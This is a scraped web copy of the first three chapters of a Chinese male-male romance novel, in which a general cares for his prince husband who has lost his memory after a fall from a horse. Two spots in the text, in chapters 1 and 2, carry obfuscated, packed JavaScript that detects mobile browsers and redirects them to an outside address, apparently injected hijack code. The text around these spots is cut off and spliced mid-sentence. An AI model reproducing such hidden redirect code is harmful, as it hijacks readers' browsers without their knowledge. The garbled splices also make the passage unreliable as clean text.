《挚友好香》 1. 第 1 章 关顺十四年如月末,一场大雪下了三天三夜,大承国都严华城上下白雪皑皑银装素裹。 银鞍白马,四蹄溅雪,从副城军营驻地一路不停歇飞奔百余里,在宵禁前进入了城门。 白马行至安王府门口,马上之人飞身而下,王府门口的侍卫对来人拱手道:“大将军!” 谢淮屿的披风兜帽上沾满雪花,一言不发,大步径直入内。 夜已深,王府里的下人脚步匆匆忙忙碌碌,见到他纷纷行礼,他一概无视,披风扬起,脚下越来越急。 祈安王的寝室外,皇帝的贴身侍卫和内官都在,见他前来迎了上去。“大将军,您可回来了。” 谢淮屿点点头,进门之前脚步一顿,将身上带着寒气的披风解下来。内官周常赶紧接下。 谢淮屿:“他怎么样?” 周常:“太医说王爷有两处外伤,右手腕子骨头裂了,头磕破了……都不算严重,但就是、就是一直昏迷不醒……” 说话间,谢淮屿已步入内间,床榻周围站着五六个太医,为首的是太医院院使。皇帝坐在榻旁,说道:“淮屿回来了?” “陛下。”谢淮屿跪下行礼,眉头紧锁,满脸担忧。 皇帝:“起来吧,过来看看祈安。”说完,他起身给谢淮屿让出了位置。 床上的男人双目紧闭,俊逸的脸上泛着些许不正常的红,右手上了夹板,头上包着细布,右侧额角隐隐有血迹渗出。 谢淮屿一听闻孟祈安坠马,就急匆匆往回赶,大雪天愣是跑出了一头汗,坐在床边握住孟祈安的手,轻声唤道:“祈安,祈安?” 院使:“大将军,老夫替安王把过脉了,脉象和缓,并无性命之忧。只是……磕到了头,位置不大好。气血凝滞,所以才会昏迷不醒。” 皇帝:“那祈安何时能醒来?” 院使躬身道:“快则今晚,最晚明日午时也醒了。” 皇帝呼出一口气,说道:“如此孤便安心了。” “既然祈安无大碍,孤就先回宫了。”他吩咐太医们道,“你们今晚都留在安王府,听候大将军差遣。” 说完又对谢淮屿说:“祈安就辛苦将军照顾了。” 送走了皇帝,谢淮屿脱下没来得及换的将服,仔细地净了手,坐在床边拿一块干净的软布沾湿给孟祈安擦拭降温。侍女端来熬好的药,他将人小心地抱起,安靠在自己怀中,接过药碗,舀了一勺吹了吹,送到孟祈安唇边。 “祈安,吃药。” 奈何安王昏睡着,不知道张嘴。 谢淮屿让侍女和太医退下,含了一口,嘴对嘴撬开孟祈安双唇,送入他的口中。 一碗药仔仔细细地喂了接近一炷香的功夫,一滴未漏。不愧是太医院的药,药效奇好,见底时孟祈安的烧便退了大半,身上开始冒汗,脸色也好了许多。 谢淮屿又给他擦了擦汗,换了身干爽的里衣,才小心翼翼地在他身边躺下。一躺下,受了伤的人就转身靠过来,非要贴在他肩上才罢休,贴好了哼了声,在睡梦中委屈地扁嘴。 大将军把他搂进怀里,叹了口气。孟祈安小时候身体不好,先皇后不许他骑马,骑术还是认识他之后他教的,本来骑得就一般,还非要在大雪天骑,摔了也怪不了别人。 他所有的担心都化作了恼怒,但一想到孟祈安是想去找他才骑马的,怒火燃起一半又熄灭了。 他们二人是夫妻,全大承国都知道大将军嫁与安王为正妻王妃,龙阳分桃之事常有,但夫夫由皇帝赐婚的前无古人后无来者,只此一例。 但最近大半年,两人聚少离多,还总是吵架。孟祈安想在开春后跟他北上去建宁,被他拒绝了。拒绝的次数多了,孟祈安脾气见长,两人经常吵架。 谢淮屿整个冬季都在副城的中军营操练士兵,忙起来经常不回家,等他闲下来,才发现孟祈安从过完年已经一个月没理他了。 大将军意识到问题的严重,去了封信解释这些日子都在做什么,说过几天就回去。相识十四载,都是孟祈安给他写信,他极少回信,主动去信的次数更是屈指可数,所以收到信的安王即使冒着大雪也要去副城找他。 可惜,出了城门没有一里,马蹄打滑,跌下马来,磕到了头。 “……”谢淮屿自责得很,若是没有吵架,祈安也不会受伤。 一晚上又是擦汗又是喂水,几乎一夜未眠,寅卯交接之时,谢淮屿才搂着人闭上眼睛迷瞪了一会儿。 不到半个时辰,他感到怀里动了动,睁开眼睛时对上了一双清澈的黑眸。 “醒了?”他摸了摸对方的额头,轻声关切地问道,“头疼不疼?可还有哪里不舒服?” 孟祈安像是不认识他一样,盯着他看了足足三息,突然猛地一推一蹬。 谢淮屿万没想到他会有如此激烈的动作,反应过来时赶紧去拉,但为时已晚,孟祈安成功地将自己摔下了床。 “祈安?”谢淮屿下床扶他,“无碍吧?” 孟祈安摔得尾椎骨疼,龇牙咧嘴道:“你……你是……谢淮屿?” 谢淮屿一愣,孟祈安多少年没叫过他的全名了,他直觉不对劲,但无暇细思,想先将人扶起。 不料孟祈安却推拒他的搀扶,屁股搓地往后退去,大声道:“你干什么?你、你!” “你怎么不穿衣服?!” 谢淮屿照顾他一宿,没有沐浴,只穿了里衣,刚才拉他扯开了衣襟,露出大片的肌肤,但也不至于被说成没穿衣服。 孟祈安连环发问:“你怎么在我床上?” “你小子想干什么?” “趁我睡觉偷袭我?” “你好意思说自己是将门之后正人君子?” “不对!你不是回建宁关了吗?” “还是说你不是谢淮屿?说,你到底是谁?有何目的?” “唔唔!!” “……”谢淮屿被他吵得一个头两个大,捏住他的两瓣嘴,喊道,“太医!” 孟祈安披着袍子,被一群白胡子太医围在中间,从人群缝隙里瞅站在不远处的谢淮屿。 他印象中的谢淮屿还是跟自己一边大,十岁出头的男孩子,但那个身形精干高挑、相貌英俊的美男子跟谢淮屿有十分相似……应该就是他。 一名太医问道:“安王殿下可还记得自己姓甚名谁?” 孟祈安看傻子一样看着他:“我是谁我还不知道吗?” 太医:“姓名?” “孟祈安。” “年龄?” “二十四。” 太医点点头,又问:“安王殿下可还记得大将军?” 孟祈安:“谢大将军嘛,当然记得。” 太医们对视一眼,问:“哪位谢大将军?” 孟祈安:“我大承国只有一位谢大将军,还能有谁?” 太医们闹不清他说的是谁,指着谢淮屿问:“您可记得他是谁?” 孟祈安拿不准:“谢淮屿?” 太医们都松了口气,可又听他说:“谢淮屿不是应该在建宁戍边吗?擅离职守可是重罪!” “……” “……” 院使走过去,小声道:“大将军,安王殿下磕到头,气血凝滞、脑络不通、清阳不升,出现了离魂症状。” 谢淮屿听见了他们的对话,担忧地问道:“失忆?” 院使:“对对对,离魂症便是失忆。” 谢淮屿的眉头就没有松过,问:“可有治疗之法?” 院使:“老夫见殿下精神尚可,可以用些活血化瘀的药。” 谢淮屿问道:“他多久能恢复记忆?” 院使:“这……老夫也说不准。老夫只能先用药,再视情况而定。” 院使已是古稀之年,乃大承国国之圣手,他说说不准,那便是有可能一辈子都无法恢复记忆了。 正说着话,孟祈安突然站了起来,说:“不可能!”走到谢淮屿跟前上下打量,“还真是谢淮屿……我记得你十几年前就回建宁关了,怎么会出现在我家?” 谢淮屿:“你不记得了?” 孟祈安:“记得什么?皇兄有令,你跟大将军非召不得回京。你是怎么回来的?还不快离开,要是被皇兄知道了,可有你好受的。” 谢淮屿:“是陛下召我回京的。”只不过是十年前的事了。 孟祈安放下心来。 院使拽了大将军走远了些,拈须道:“看来殿下不是单纯的失忆,而是记忆错乱。麻烦啊麻烦。” 他提笔改了药方,明日起让太医院的人亲自配药送药复诊,之后带着太医们回去复命了。 留下孟祈安和谢淮屿面对面坐着,大眼瞪小眼。 孟祈安:“你怎么还不走?想蹭饭?” 谢淮屿倒了杯水给他,说道:“我住在这里。” 孟祈安:“这里是将军府?”他抬头看了看,明明是他父皇赐给他的宅邸啊,“不是啊,这里是我家。我警告你谢淮屿,我是失忆不是傻了,你别想耍我!” 谢淮屿无奈:“我没有耍你……” 他即使穿着便服坐在寝室软塌上,腰板也挺得板直,没带头冠,柔顺的长发铺在背后,严肃中有些放松,抬眸看了安王一眼。 孟祈安的心被人屈指轻弹了一下似的颤了下,慌忙移开视线,嘴上不饶人道:“没有耍我?哼,我还不了解你?装模作样的家伙,一点都没变,所以这么多年过去了我还是看你不顺眼!” 谢淮屿揉揉眉心,头大。 他俩确实当过死对头。 那时候他九岁有半,从边关建宁回严华城,进入皇城善习堂学习。善习堂是王公贵族家中适龄子弟学习的地方。他是大将军独子,自然也得去。 孟祈安是皇后生的,先帝老来得子,十分宠爱,身份尊贵,自然在善习堂是老大。少爷小姐们都是六岁开始上学,全都混得很熟,突然从边关来了个新学生,还是传说中的谢家独子,人人都好奇得很。谢淮屿不想惹是生非,一直行事低调,但还是被孟祈安盯上了。孟祈安和他不对付,两人有段时间针锋相对,是死对头。 院使离开之前千叮咛万嘱咐不能让安王情绪波动太大,谢淮屿看他这样,要是告诉他两人现在不仅不是死对头,还是睡一张床的恩爱夫妻,恐怕这人不是吓死就是气死。 “怎么就都是我的问题?难道不是因为你成天找茬吗?”虽说后来孟祈安喜欢上他,对之前混账之举道过歉了,但听他提起来,谢淮屿还是气不打一处来。 “那还不是因为……因为……什么来着?” 谢淮屿看他一脸茫然的傻样,说:“行了,都过去了。我们……早就和好,不是死对头了。” 孟祈安:“当真?” “嗯。” “那是什么?” 谢淮屿思索片刻道:“朋友。” 孟祈安:“所以你是听闻我受伤来看我的?我们什么时候关系这么好了?”他自顾自说着,“其实当年我没那么讨厌你,相反还挺羡慕和佩服你的。” 谢淮屿浅笑,这番剖白他早就听他说过,如今再听来颇为怀念。祈安还是那个直爽的性子。 “谢……我听太医叫你大将军,这么说你现在是我大承的镇北大将军了?令尊呢?” 谢淮屿:“我爹旧疾复发便解甲归田,现在在江南老宅住着。” 孟祈安:“你娘可好?” 两人成婚之后,谢淮屿忙于军务,反倒是孟祈安每隔几天便去信问候,逢年过节还会寄些礼物,有什么好吃好玩的都想着双亲,替谢淮屿尽孝。现下听他这么寒暄着问,谢淮屿忍不住笑了,说道:“托殿下的福,双亲身体康健。” 侍女端来了早膳,谢淮屿帮他盛了一碗白粥,拿勺喂到他嘴边。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147451|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孟祈安如躲避洪水猛兽般猛然站起,椅子哐地摔倒在地。“干、干嘛?我我我我不会自己吃吗?!” 谢淮屿扶起椅子,淡定地说道:“你手不方便,我喂你。”要是放以前,他能屈尊喂孟祈安吃饭,孟祈安能开心好几天。他也是对孟祈安受伤有点愧疚。 可谁知孟祈安连连摇头:“不用不用,我左手能用!大将军客气了!” 他确实能用左手吃饭,安王书画造诣极高,尤其是书法,右手隶书,左手狂草,被誉为当今书圣,可他传出的作品少之又少,且都是年少时的,其实世人不知,他一手好书法全都用来给大将军写情信了。 谢淮屿:“……好。”将勺子递给孟祈安。 孟祈安接过:“谢谢大将军。” 谢淮屿:“不要叫我大将军。” 孟祈安沉吟道:“嗯,你我既是朋友,叫大将军疏远了,那我就叫你……” “谢兄!” 谢淮屿:“……随你吧。” 一顿饭一口一个谢兄“客客气气”地吃完了,到了喝药环节,谢淮屿端着药碗和勺子犹豫了下,放在孟祈安面前。 孟祈安眉头刚皱起,他便已拿出一枚蜜饯,摆在孟祈安面前的小碟子里,孟祈安一愣,他又变戏法似的拿出两枚。 “我最怕苦了,三枚正正好,谢兄很了解我嘛。”安王笑道,将药汁捏着鼻子一口闷了,嚼着蜜饯问,“谢兄不忙吗?” 谢淮屿:“不忙。陛下特准我休沐三日。”照顾你。 “谢兄好不容易休沐,就别守着我这个伤员了。” “你的伤是因为要去寻我……” 孟祈安激动道:“果然跟你有关系啊!” “……” “哈哈,本王大度,既然谢兄有愧,我又哪儿也去不了,那谢兄就留下陪我聊天赏雪好了!” “……”谢淮屿便给他披上狐裘大氅,裹得暖暖和和,拿上汤婆子,带他去了水榭。 雪虽然停了,但王府花园景致美不胜收,两人相谈甚欢,午膳移到水榭吃的,孟祈安睡了午觉,傍晚才回到寝室。 谢淮屿接过尚有余温的汤婆子,伸手就要给孟祈安脱大氅。 孟祈安:“我自己来、我自己来。”他退了半步,想不明白,谢淮屿以前明明冷得像块冰,如今怎么这么热情?今日一整天,又是喂他吃饭喝水,又是给他添柴加衣,照顾得无微不至。 他把大氅脱下来,谢淮屿很自然地接过去。 “我要去沐浴了。” 谢淮屿:“我帮你。” 孟祈安:“……” “不用不用,我自己可以。” 谢淮屿:“你的手不能沾水。” 孟祈安:“这……这不好吧,怎么能麻烦大将军呢?我让侍女帮我就好。” “你说什么?”谢淮屿眉毛一挑,“谁帮你?” 孟祈安突然紧张得心脏乱跳,又觉得自己紧张得很没道理,心虚地重复道:“……侍女……” 谢淮屿的眼神好像要吃人,坚持道:“男女有别,我帮你洗。” “这、这……”孟祈安被他瞪得不会说话了,“那、那就劳烦大将军了。”什么跟什么啊?聊了一天就要一起洗澡了?他们有那么熟吗?凶什么凶? 谢淮屿一拉他的腰带,他向前踉跄了一下,差点撞在对方身上。“我自己脱吧……”他感觉谢淮屿很不高兴,但又不知为何。委委屈屈地让大将军扒了外衣,受气媳妇似的跟着去了温泉池。 王府寝室后面专门挖了个池子,引了温泉水进来。这温泉的泉眼在灵山脚下,流经皇宫,是御用温泉。皇帝疼爱幼弟,特辟出一条支流引到了安王府。水是活水,温度适宜,有美肤疗养的功效。 “右手抬起来。”谢淮屿的声音自带威严,怂包子不敢不从,乖乖抬起右手。哗啦啦,温泉水从脖子后面浇下来,洗去疲惫通体舒畅。 水汽氤氲间,孟祈安瞧见谢淮屿又舀了一盆水走过来。他忍不住咽了咽口水。这身材也太好了吧?宽肩细腰,身上没有一丝一毫的赘肉,强健精干的肌肉包裹在白皙的皮肤下,有种微妙且奇妙的性感。 好白啊…… 一个习武之人,皮肤怎么会这般细嫩? 谢淮屿走到他面前蹲下,打湿布巾替他净面,擦了一遍之后停下动作,逗他问道:“脸红什么?” 孟祈安急忙狡辩:“脸红?没有啊!哈!我堂堂安王洗个澡怎么会脸红?许是这温泉水太白了吧?” 白?谢淮屿愣了下旋即明白了,低下头闷笑,笑得肩膀都在抖。 孟祈安说完只想跳进温泉池里逆流而上,将自己埋在灵山脚下,永生永世再不见人。 谢淮屿带着笑给他擦身沐浴,除了布巾遮着的部位他坚持要自己洗,其他地方都仔细地洗过了。 “这伤是怎么弄的?”孟祈安指着谢淮屿左胸偏上位置的刀伤问道,他身上大大小小有不少伤,这道最是触目惊心。 “十七岁那年与罗傲国大战时受的伤。”谢淮屿轻描淡写道,找了块新布巾给他擦干。 孟祈安突然感觉心口憋闷刺痛,问道:“疼不疼?” “早就不疼了。”谢淮屿道。 孟祈安想说几句恭维大将军神勇的话,但话到嘴边怎么也说不出口,不知为何小声说了句“对不起”。 谢淮屿拿布巾给他擦脸:“说什么对不起,没有你的话,那场仗我们赢不了。” 孟祈安正要问为什么,他拿过新的里衣说道:“穿衣服吧,等空了我再慢慢给你讲。” 孟祈安:“谢兄,我们的关系是不是很好?” 谢淮屿:“对,我们是朋友,又不仅仅是朋友。” 孟祈安想了想,问道:“挚友?我们是挚友对不对?” “是挚友。”谢淮屿微笑着点了点头,“以后别叫我谢兄了,叫我淮屿。” 2. 第 2 章 谢淮屿跟王府的下人都吩咐了个遍,严令禁制他们跟孟祈安透露两人是夫妻关系。等他忙完回到寝室,孟祈安已经睡下了。 额头上的细布换了新的,整个人气色如常,睡得很香。 谢淮屿拿了茶壶摆在床边的小几上,换上睡袍后吹了灯,在他旁边躺下。孟祈安是小狗性子,粘人得紧,失忆了也照旧粘人,长臂一伸将人揽在怀中,嘴里含糊不清叫了声“小九儿”。 谢淮屿不禁动容,他是九月初九生的,乳名小九。除了爹娘,只有祈安会叫他的乳名。 给掖了掖被角,手臂搭在孟祈安腰间,小声道:“我在呢。你早些好起来,可不许真忘了我。”随后在他唇上印上一吻,靠在他怀里睡了。 孟祈安睡梦中感觉有什么贴了他的唇,热热的软软的还香香的,猛一睁眼,天光大亮,床上空荡荡除了他没别人,空惹得他心里一阵失落,摩挲着唇回味。 侍女听见动静,进来里间。他问:“谢淮屿呢?” 侍女答:“大将军在双清别院。” 孟祈安套上衣服就直奔双清别院。在书房门口听见里面传来训斥的声音。 “……你们三个人看不住他一个?!”谢淮屿的语气威圧感强烈,孟祈安缩了下脖子,不敢进,蹑手蹑脚地躲在门后。 “慧云飞!” “属下在!” “你是副将,在军中十八年,征战无数,却连一个人都看不住?!” “属下知罪!让安王殿下受了伤,实在该死!请将军责罚!” 孟祈安听明白了,跪在书房里的三个人得到谢淮屿的命令,看管他,结果却被他跑了。 镇北军副将都看不住我,我还挺厉害的嘛。他心里得意。不对,谢淮屿他凭什么让人看着我啊!?我是犯人吗!? 屋内,谢淮屿深深吸了口气,似乎在强压怒火。 孟祈安想进屋理论的脚又收了回来。算了算了,火气这么大,我就不进去找不痛快了。 他正欲离开,又听里面说:“三个废物!连个弱不禁风、四体不勤、手无缚鸡之力的人都看不住!” 孟祈安:“……”不带这么拉踩贬低人的啊! 他这么想的,回过神来已经站在书房里,举着受伤的右手振臂高呼,腹诽的那句话刚好绕梁三周。 谢淮屿犀利的眼神没收住,扫了过来,扫得他又缩了缩脖子。“我、我路过……没打扰你们吧?” 慧云飞三人行礼道:“安王殿下。” 谢淮屿大步走过来,扶着他的手臂放下来,说道:“你的右手不可乱动,否则又要裂开了。” 他离得近,孟祈安闻到了早上梦中的香气,莫名心中一荡。 “我不是故意说你的……”谢淮屿道,“用过早膳没?” 孟祈安也不是很在意,说道:“还没。” 谢淮屿对跪在地上的三名属下说:“每人去领三十军棍。” “是!” 又对孟祈安道:“我陪你用早膳。”语气在肃杀和柔和中转换得十分自然。 孟祈安:“等等。” “大将军,我的伤既是因你而起,就不要责罚无辜之人了吧?” 谢淮屿眼中闪过愧疚,道:“他们三人奉命在我不在王府时保护你,你受了伤就是他们的失职。” 孟祈安:“我何时需要保护了?还是说大将军真觉得我弱不禁风、手无缚鸡之力?” 谢淮屿沉默。孟祈安小时候体弱多病,偏偏性子傲气,在善习堂时,别人都在学习骑射,他只能旁观。既然骑射比不了别人,他就在其他地方下功夫,除了骑射,学问、书画、弹琴、棋艺他样样都第一。 “是我说错话了。”谢淮屿叹了口气,说道,“殿下替你们求情,免去军棍责罚,但每人罚没一个月俸禄。” 三人拜地高呼:“谢安王殿下!谢大将军!” 孟祈安吃完早饭,托着腮看谢淮屿吹仔细地凉他的药。问道:“淮、淮屿,边关如今怎么样?” 谢淮屿:“很好。罗傲国六年前与我大承签订盟约,建立互市、互不侵犯。六年来建宁关,以及边境线上的安明关、合益关一直风平浪静。” 孟祈安:“哦~所以不需要练兵了?” 谢淮屿斜了他一眼,道:“有话直说。” 孟祈安:“我就是觉得你老在我家不太合……合适吧?”他找了个借口撑腰,“我是担心朝堂上有人借机给你穿小鞋。” 谢淮屿:“谢谢殿下提醒。无妨。” 孟祈安:“不用谢。我也是觉得,你老在我家陪着我,或许无聊……” 谢淮屿拿出蜜饯道,眼都没抬道:“不无聊。” 孟祈安:“哦。” 虽然没说要走,但看他痛苦地喝完药,大将军就去双清别院了。 双清别院就在王府寝室的隔壁,是他与孟祈安成婚搬入王府后单独的院子,他成了王妃也不能荒废军务,所以就将要务都搬到了双清别院。 作为镇北大将军,即使边关无事无需他时时坐镇,每年也必须去巡视三至五月。一般都是春夏交接时前去,入秋归来。罗傲国是游牧民族,军力很大程度上依靠的是水草肥美,不会在苦寒时节起兵动乱。 他只盼着孟祈安能早日恢复,否则他去巡视边关,恐怕也难放心得下。 他看过了将士送来的邸报,又给皇帝写了札子,主要是让皇帝配合,不要让人提及他与孟祈安的夫妻关系。 忙完已过晌午。 侍女说安王已经用过了午膳,吃了什么菜式,吃了多少,都报给了他。 他回寝室时,孟祈安在睡午觉。 雪后阳光柔和地照进窗棂,喜鹊落在枝头,碎雪扑簌簌掉落在池塘当中。 难得的闲暇。 孟祈安躺在床榻外侧,手上头上缠着细布,怪可怜的。 谢淮屿知道他要睡半个时辰左右的午觉,脱了外衣,轻轻爬过他,躺在床榻里侧。 他一躺下,那人就贴了过来,跟以前一样,非得抱着他才行。 他本想着孟祈安醒来之前就走,免得失忆的人发现两人同床共枕大惊小怪,他还得想借口骗过去。可是心爱之人的怀抱太温暖,他一被抱住眼皮就打架睡了过去。 孟祈安睡午觉的习惯是从小养成的,先皇后生他的时候已是三十七岁,在孕产当中属于高龄,他生下来就体弱,不夸张的说,两岁前,太医院太医们的每天都是脑袋拴在裤腰带上过的,若是小皇子有什么差池,老来得子的皇帝保准要他们陪葬。 所幸孟祈安在父皇母后和皇长兄的庇护下活下来并长大了,太医院院使说他得多休息,于是先皇后让他每天用过午膳必须睡够一个时辰,慢慢就养成了睡午觉的习惯。 孟祈安迷迷糊糊梦见了小时候。因为他要午睡,整个善习堂就跟着到日昳才上下午的课。有次他刚睡着,就听见窗外隐有风声呼啸。他打开窗户,看到院中有一人在舞剑。 善习堂院中广植梨树,他专属的院子最大,有一棵百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147452|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年老树。他认识那擅闯的人,是早晨新来报到的谢家独子谢淮屿。梨树下,谢淮屿一席青色善习堂长衫,大袖拿襻膊绑住,一柄快赶上他身高的银白长剑舞得虎虎生风。漫天梨花飘落兰时,萦绕他周身,不似凡间景象。孟祈安忘了眨眼忘了呼吸,呆呆地看着。 谢淮屿发现了他,收了剑走到他窗下。 孟祈安尴尬道:“你在我院子里打扰我午休了!” 谢淮屿道:“你关上窗就听不见了。” 孟祈安:“可我就想开着窗。” 他见谢淮屿不说话,又说:“母后说,让我少见凶器,你舞刀弄枪的,冲撞了我,到时候我告诉母后,让她罚你。” 谢淮屿皱眉。他竟觉得这人皱眉也分外好看。 谢淮屿:“什么屁话,刀枪没砍在你身上就冲撞不到你。再说,这也不是凶器,是我爹给我的宝剑。凶器是杀人的,我的剑是护人平安的。” 孟祈安:“有什么分别!” 谢淮屿:“我不与你争辩。”他四处看看道,“你这院子最大,书院下午开讲太晚,今后我每日都要在你院中练武。我爹说来了严华城,功夫不能荒废。” 说完他转身就走。 孟祈安被他不给拒绝机会一通通知,气得啪地推开窗户:“你!” 谢淮屿停下脚步抬头望去,然后平地跃起,飞身上树摘了一支梨花,拿在手中又走了回来。 孟祈安一脸戒备:“你要干什么?” 谢淮屿将梨花递进窗户,递到他眼前,说道:“送你。” 孟祈安接也不是不接也不是:“送我……?干什么?” 窗外那双黑如琉璃的眼眸直勾勾地盯着他,他脸上一红,刚伸手接过,就听对方说:“谢礼。” 孟祈安一愣,旋即吼道:“这是我的院子!你摘我的花送我算什么谢礼!!” 安王梦到两人初识的场景,他觉得谢淮屿没礼貌,谢淮屿觉得他事多,一来二去两人便对上了。梦中的场景却不如当时剑拔弩张,反而满是沁人心脾的香气。 花香、果香、木香……他也说不上来具体是什么香,是一种特殊的、令人心安又令人躁动的香。 他抱紧怀中的人,深深地嗅着那若有似无的香气,仿佛在黑暗中抓取唯一一盏烛火,唯有这烛火才能点亮他所有遗失的记忆。 他在谢淮屿的发间嗅着,唇擦过对方的耳垂,觉得不够,又去嗅对方的脖子,干脆埋首在谢淮屿脖侧,唇贴着他的脉搏吮吸。 “嗯……” 一声轻吟将他拉回现实。 他猛然惊醒,身体僵住。 谢淮屿?! 他甚至来不及想为何谢淮屿会在他床上,谢淮屿转了个身,贴进他怀中,脸埋在他胸前,舒服得蹭了蹭。 “!” 孟祈安不敢动了,脑子转得飞快,想用什么办法能不吵醒他离开,避免尴尬。 一个大男人,熏香了吧?还是武将呢!弄得比纨绔还好闻!干什么?想干什么? 他一边腹诽一边又不要命地凑过去闻了闻。 好香。不浓烈,但却如一抹幽兰香进了他心里。 他愣神之际,谢淮屿感受到他逐渐变粗的气息和剧烈的心跳,一条手臂缠到他脖子上,呢喃道:“再睡会儿。” “祈安……” “……”孟祈安心脏要跳出嗓子眼,心道,我一定是在做梦…… 坠马怎么没摔死我啊! 啊啊! 啊! 3. 第3章 “……” “……” 安王和大将军面对面坐着,谁都不说话,干坐着喝茶。 一炷香后。 “祈安。” “淮屿。” 两人默契地开口,默契地对视,又默契地移开视线。 谢淮屿添上茶道:“你先说。” 孟祈安扭捏半天,问:“晚上想吃什么?”他真的想一头磕死,先不论谢淮屿为什么会出现在他的床上,他抱着人家像个变态一样闻个不停,还可耻地起了反应。 谢淮屿淡淡道:“都行。” 孟祈安听不出他的情绪,不过人没打他就算没生气吧?“那我让小厨房做茱萸鱼、梅菜扣肉和胡椒醋虾可好?” 谢淮屿直接给否了:“不是辣的就是不好消化的,不可。爱吃辣也得等伤好了再吃。”孟祈安口重,尤爱香辣椒麻,还喜欢吃甜食。 孟祈安失望地发出一个“哦”。 谢淮屿:“我让小厨房做些茯苓糕、金糕和桂花醪糟。” 孟祈安这才满意。 谢淮屿:“吃过药吃。” 孟祈安被他管着有种奇怪的感觉,谢淮屿对他的喜好口味了如指掌,还会为他的身体着想,不愧是他的挚友。 只是…… 他又想起方才床上的尴尬事,脸上发烫。 “脸怎么这么红?”谢淮屿抬手摸他的额头,“哪儿不舒服?” 带着薄茧的手微微凉,摸了额头又摸他的脸颊,他的脸更红了。 为了缓解尴尬,他往后退了一些,说道:“我没事。倒是淮屿你,久不回府,家眷不会担心吗?” 谢淮屿心道,我的家眷就是你。但这话又不能说,只能干巴巴地说:“不会。” 孟祈安听他没否认有家眷,心中像被人捅破了药包,苦涩翻涌开来。他完全不懂为何会苦涩,问道:“将军夫人是什么样的人?” 谢淮屿:“是个很好的人,心地善良,仁爱浩然,才华横溢却又天真烂漫。” “哈哈,想来你我是挚友,我却忘得一干二净,实在可笑。”孟祈安听他夸自己老婆,越听越不高兴,心想哪儿有人这么不谦虚! 气恼说道:“本王的王妃呢?本王快而立了,定娶妻了!本王受了伤怎么不见王妃来探望!?” 坐在对面的王妃不知道怎么回答他:“……” “哈哈哈!你王妃……”人未到声先至,一年轻锦衣男子步履生风走了进来。 背对着门口的谢淮屿正好在他跨过门槛时回过头来。 那人一愣,话到嘴边又咽了下去。“呃、啊……大将军也在啊。” 谢淮屿微微颔首。 孟祈安见到来人惊喜道:“许新卓!你是许新卓,我没认错!” 许新卓是当朝丞相之子,小时候与孟祈安、谢淮屿同在善习堂读书,是八皇子的伴读。八皇子孟祈生性情内敛懦弱,放了学就回寝宫,从来不跟学子们玩闹,所以许新卓跟九皇子孟祈安关系更要好,后来孟祈安追求谢淮屿,他也跟着出了不少主意。 “殿下还真是失忆了,连我都不记得了!”许新卓假意埋怨道。 “忘了谁也不会忘了你小子!!几天不见,长这么大了,跟小时候一样尖嘴猴腮!”孟祈安贱贱地说。 许新卓也不恼,说道:“看到殿下这么精神,我就放心了。” 孟祈安请他入座,问道:“这么说我受伤失忆的事都传开了?” 许新卓:“是。太医都往安王府跑,陛下也什么好补品都往安王府送,这不奇怪吗?好事之人一打听就知道了,然后就传开了。” 孟祈安倒是不在意,他天生豁达,失忆怎么了,一辈子想不起来也没事,大不了从新开始。他问道:“你刚才说我的王妃?我的王妃怎么了?” “咳!”谢淮屿清了下嗓子,斜了许新卓一眼。 许新卓玲珑心思一点就透,说道:“殿下的王妃,呃……殿下的王妃不是回娘家省亲了吗?” 他说得情真意切,有理有据,孟祈安信了,问他:“哦?王妃是哪里人?姓甚名谁?年芳几许?美不美?” 许新卓看着喝茶的谢淮屿,忍着笑跳过重要的问题答道:“王妃祖籍江南,比殿下小一岁,美不美的,我可不敢随意评说。” “祖籍江南?那与淮屿是同乡啊!”孟祈安好奇极了,问道:“他可收到我受伤的消息?可别告诉他,免得担心,着急回来。” 谢淮屿手一顿,平白的吃起自己的飞醋来。 “我与他是如何相识的?又是如何成婚的?”安王追问道。 许新卓:“殿下与王妃是陛下赐婚的。” 孟祈安有些失望,道:“那定是位贵女了……” 许新卓:“倒也没错。” 孟祈安:“我以为我会在外邂逅良人,无关身份地位,只是缘于性格相投。我与他恩爱否?” 许新卓:“这……我也不好评说。” 孟祈安:“有什么不好评说的?快说与我听!万一他回来时我还没恢复记忆,要如何与他相处?” 半天没说话的谢淮屿突然起身,道:“两位聊吧,我还有军务要处理,失陪。” 许新卓扒在门边贼兮兮地看他走远,才又坐回去。“你真失忆了?” 孟祈安点头:“你干嘛这么怕淮屿?” 许新卓:“镇北大将军,谁不怕?大承第一狠人,死在他手里的没有一万也有八千。” 孟祈安:“那不也是罗傲敌军。” 许新卓:“反正他一身煞气,我见着他腿都要抖三抖。也就是你,那么……呃,与他亲近。” 孟祈安说道:“淮屿与我是挚友。虽说我受伤是因他而起,但他这两日照料我,悉心体贴,可见是个负责的人,没有你说的骇人。” “挚友……?”许新卓咂摸着这两字的含义。 孟祈安:“放心,就算他是我的挚友,你是我好兄弟的地位也不会变。” 许新卓看他半天,说:“殿下还真是失忆了,一点儿也不记得了?挚友……”他突然大笑起来,“挚友!哈哈哈,有意思!” 他打趣道:“大将军如何照料的你?嗯?” 孟祈安猛然又想起午睡时的尴尬事,满脸通红,连耳朵都红了,支支吾吾道:“就……就那么照顾……日常起居、吃饭喝水、吃药……睡觉……什么的。” 许新卓:“他管得很细啊?” 孟祈安如实点头。 